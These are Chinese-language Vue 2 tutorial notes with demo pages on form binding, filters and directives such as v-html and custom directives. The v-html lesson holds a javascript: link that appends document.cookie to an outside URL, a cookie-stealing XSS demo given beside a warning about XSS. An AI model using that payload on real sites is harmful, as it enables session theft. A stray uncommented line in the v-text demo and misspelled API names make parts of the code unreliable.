目录
038.收集表单数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>收集表单数据</title>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
</head>
<body>
<!--
收集表单数据：
若：<input type="text">,则v-model收集的是value值，用户输入的就是value值
若：<input type="radio">,则v-model收集的是value值，且要给标签配置value值
若：<input type="checkbox">
1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
2.配置input属性：
1 v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
2 v-model的初始值是数组，那么收集的就是value组成的数组
备注：v-model的三个修饰符：
lazy：失去焦点再收集数据
number：输入字符串转为有效的数字
trim：输入首尾空格过滤
-->
<!-- 准备好一个容器 -->
<div id="root">
<!-- 表单 表单提交默认跳转页面，prevent阻止跳转 -->
<form @submit.prevent="demo">
<!-- 点击"账号:"输入框获取焦点
<label for="demo">账号：</label>
<input type="text" id="demo"> -->
账号：<input type="text" v-model.trim="userInfo.account"><br><br>
<!-- 密码隐藏 -->
密码：<input type="password" v-model="userInfo.password"><br><br>
年龄：<input type="number" v-model.number="userInfo.age"><br><br>
性别：
<!-- 单选框 name控制只能选中一个-->
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
爱好：
<!-- 复选框 -->
唱跳<input type="checkbox" v-model="userInfo.hobby" value="Sing dance">
rep<input type="checkbox" v-model="userInfo.hobby" value="rep">
篮球<input type="checkbox" v-model="userInfo.hobby" value="basketball"><br><br>
所属校区
<!-- 下拉框 -->
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="guangzhou">广州</option>
<option value="shenzhen">深圳</option>
</select><br><br>
其他信息：
<textarea v-model.lazy="userInfo.other"></textarea><br><br>
<input type="checkbox" v-model="userInfo.agree"> 阅读并接受<a href="https://blog.csdn.net/weixin_58214412?spm=1008.2028.3001.5343">《用户协议》</a>
<button>提交</button>
</form>
</div>
<script>
Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
const vm=new Vue({
el:'#root', //el用于指定当前vue实例为哪个容器服务，值通常为CSS选择器字符串
data:{ // data用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象
userInfo:{
account:'',
password:'',
age:"",
sex:'female',
hobby:[],
city:'',
other:'',
agree:''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo));
}
},
})
</script>
</body>
</html>039.过滤器
处理时间戳首先我们要安装dayjs,链接地址
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>过滤器</title>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
<script src="../js/dayjs.min.js"></script>
</head>
<body>
<!--
过滤器
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）
语法：
1 注册过滤器：全局：Vue.fliter('name',callback)或 局部：new Vue({filters:{}})
2 使用过滤器：{{xxx | 过滤器名}} 或v-bind:属性="xxx | 过滤器名"
备注：
1 过滤器也可以接收额外参数、多个过滤器也可以串联
2 并没有改变原本的数据，是产生了新的对应数据
-->
<!-- 准备好一个容器 -->
<div id="root">
<h1>显示格式化后的时间</h1>
<!-- 计算属性实现 -->
<h2>现在是：{{fmTime}}</h2>
<!-- methods实现 -->
<h2>现在是：{{getFmTime()}}</h2>
<!-- 过滤器(filters)实现 -->
<h3>现在是：{{time | timeFormater}}</h3>
<!-- 过滤器传参 -->
<h3>现在是：{{time | timeFormater('YYYY年MM月DD日')}}</h3>
<!-- 过滤器切片（截取） -->
<h3>现在是：{{time | timeFormater('YYYY年MM月DD日') | mySlice}}</h3>
<h2 :x="name |mySlice">{{name}}</h2>
</div>
<div id="root2">
<h1>{{msg | mySlice}}</h1>
</div>
<script>
Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
// 全局过滤器
Vue.filter('mySlice',function(value){
return value.slice(0,5)
})
new Vue({
el:'#root', //el用于指定当前vue实例为哪个容器服务，值通常为CSS选择器字符串
data:{ // data用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象
time:1621561377603, //时间戳
name:'你好，西西歪'
},
computed:{
fmTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
}
},
methods: {
getFmTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
}
},
// 局部过滤器
filters:{
/* timeFormater(value){
// value值等于time
return dayjs(value).format('YYYY-MM-DD HH:mm:ss');
} */
timeFormater(value,str="YYYY-MM-DD HH:mm:ss"){
return dayjs(value).format(str);
},
/* mySlice(value){
return value.slice(0,5)
} */
}
})
new Vue({
el:'#root2',
data:{
msg:'hello,西西歪'
},
})
</script>
</body>
</html>040.v-text指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-text_指令</title>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
</head>
<body>
<!--
之前学过的指令：
v-bind：单向绑定解析表达式
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
v-text指令：
1.作用：向其所在的节点渲染文本内容
2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会
-->
<!-- 准备好一个容器 -->
<div id="root">
<div>{{name}}</div>
<div v-text="name"></div>
<div>你好，{{name}}</div>
<div v-text="name">你好，</div>
<div v-text="str"></div>
</div>
<script>
Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
new Vue({
el:'#root', //el用于指定当前vue实例为哪个容器服务，值通常为CSS选择器字符串
data:{ // data用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象
name:'西西歪',
v-text把所有字符串都当成文本解析，不会当成标签
str:'<h3>你好啊</h3>'
},
})
</script>
</body>
</html>041.v-html指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-html_指令</title>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
</head>
<body>
<!--
之前学过的指令：
v-bind：单向绑定解析表达式
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
v-html指令：
1.作用：向指定节点中渲染包含html结构的内容
2.与插值语法的区别：
1 v-html会替换掉节点中所有的内容，{{xx}}则不会
2 v-html可以识别html结构
3.严重注意：
1 在网站上动态渲染任意HTML是非常危险的，容易导致xss攻击
2 一定要在可信任的内容上使用v-html，永不要用在用户提交的内容上
-->
<!-- 准备好一个容器 -->
<div id="root">
<div>你好，{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script>
Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
new Vue({
el:'#root', //el用于指定当前vue实例为哪个容器服务，值通常为CSS选择器字符串
data:{ // data用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象
name:'西西歪',
str:'<h3>你好啊</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>快来</a>'
},
})
</script>
</body>
</html>042.v-cloak指令
把<script src="../js/vue.js"></script>放在模板下面，当网速慢的时候，vue还没加载回来未经解析的模板就出来来页面上，v-cloak配合CSS使用可以让未经解析的模板{{name}}不显示
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-cloak_指令 </title>
<style>
[v-cloak]{
display: none;
}
</style>
</head>
<body>
<!--
之前学过的指令：
v-bind：单向绑定解析表达式
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
v-cloak指令(没有值）：
1.本质上是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
2.使用CSS配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
-->
<!-- 准备好一个容器 -->
<div id="root">
<div v-cloak>{{name}}</div>
</div>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
</body>
<script>
Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
new Vue({
el: '#root', //el用于指定当前vue实例为哪个容器服务，值通常为CSS选择器字符串
data: { // data用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象
name: '西西歪'
},
})
</script>
</html>043.v-once指令、
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-once_指令 </title>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
</head>
<body>
<!--
之前学过的指令：
v-bind：单向绑定解析表达式
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
v-once指令：
1.v-once所在节点在初次动态渲染后，就视为静态内容
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2 v-once>初始化的n值是：{{n}}</h2>
<h2>当前的n值是：{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
new Vue({
el: '#root', //el用于指定当前vue实例为哪个容器服务，值通常为CSS选择器字符串
data: { // data用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象
n:1
},
})
</script>
</html>044.v-pre指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-pre_指令 </title>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
</head>
<body>
<!--
之前学过的指令：
v-bind：单向绑定解析表达式
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
v-pre指令：
1.跳过其所在节点的编译过程
2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点、会加快编译
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2 v-pre>vue其实很简单</h2>
<h2 v-pre>当前的n值是：{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
new Vue({
el: '#root', //el用于指定当前vue实例为哪个容器服务，值通常为CSS选择器字符串
data: { // data用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象
n:1
},
})
</script>
</html>045.自定义指令_函数式
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>自定义指令_函数式</title>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
</head>
<body>
<!--
之前学过的指令：
v-bind：单向绑定解析表达式
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2><span v-text="n"></span></h2>
<h2>放大10倍的值是：<span v-big="n"></span></h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
new Vue({
el: '#root', //el用于指定当前vue实例为哪个容器服务，值通常为CSS选择器字符串
data: { // data用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象
n:1
},
// 定义指令
directives:{
// big函数何时被调用？1.指令与元素成功绑定时（一上来）2.指令所在的模板被重新解时
big(element,binding){
console.log('big',this); //此this是Windows的
// 形参element是真实DOM，形参binding是绑定元素返回的一个对象，innerText是元素本文
element.innerText=binding.value*10
}
}
})
</script>
</html>046.自定义指令_对象式
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>自定义指令</title>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
</head>
<body>
<!--
之前学过的指令：
v-bind：单向绑定解析表达式
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2><span v-text="n"></span></h2>
<h2>放大10倍的值是：<span v-big="n"></span></h2>
<button @click="n++">点我n+1</button>
<hr>
<input type="text" v-fbind:value="n">
</div>
</body>
<script>
Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
new Vue({
el: '#root', //el用于指定当前vue实例为哪个容器服务，值通常为CSS选择器字符串
data: { // data用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象
n:1
},
// 定义指令
directives:{
// big函数何时被调用？1.指令与元素成功绑定时（一上来）2.指令所在的模板被重新解析时
big(element,binding){
console.log('big',this); //此this是Windows的
// 形参element是真实DOM，形参binding是绑定元素返回的一个对象，innerText是元素本文
element.innerText=binding.value*10
},
fbind:{
// 指令与元素成功绑定时（一上来）
bind(element,binding){
element.value=binding.value
},
// 指令所在元素被插入页面时
inserted(element,binding){
// 获取焦点
element.focus()
},
// 指令所在的模板被重新解析时
update(element,binding){
element.value=binding.value
}
}
}
})
</script>
</html>047.自定义指令_总结
<!--
之前学过的指令：
v-bind：单向绑定解析表达式
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点
自定义指令总结：
1.定义语法：
1 局部指令：new Vue({directives:{指令名:配置对象}}) 或new Vue({directives:{指令名:回调函数}})
2 全局指令：Vue.directives('指令名',配置对象) 或 Vue.directives('指令名',回调函数)
2.配置对象中常用的3个回调：
1 bind：指令与元素绑定成功时调用
2 inserted：指令所在元素被插入页面时调用
3 update：指令所在模板结构被重新解析时调用
3.备注：
1 指令定义时不加v-，但使用时要加v-
指令名如果是多个单词要使用kebab-case命名方式，不要用camelCase命名
-->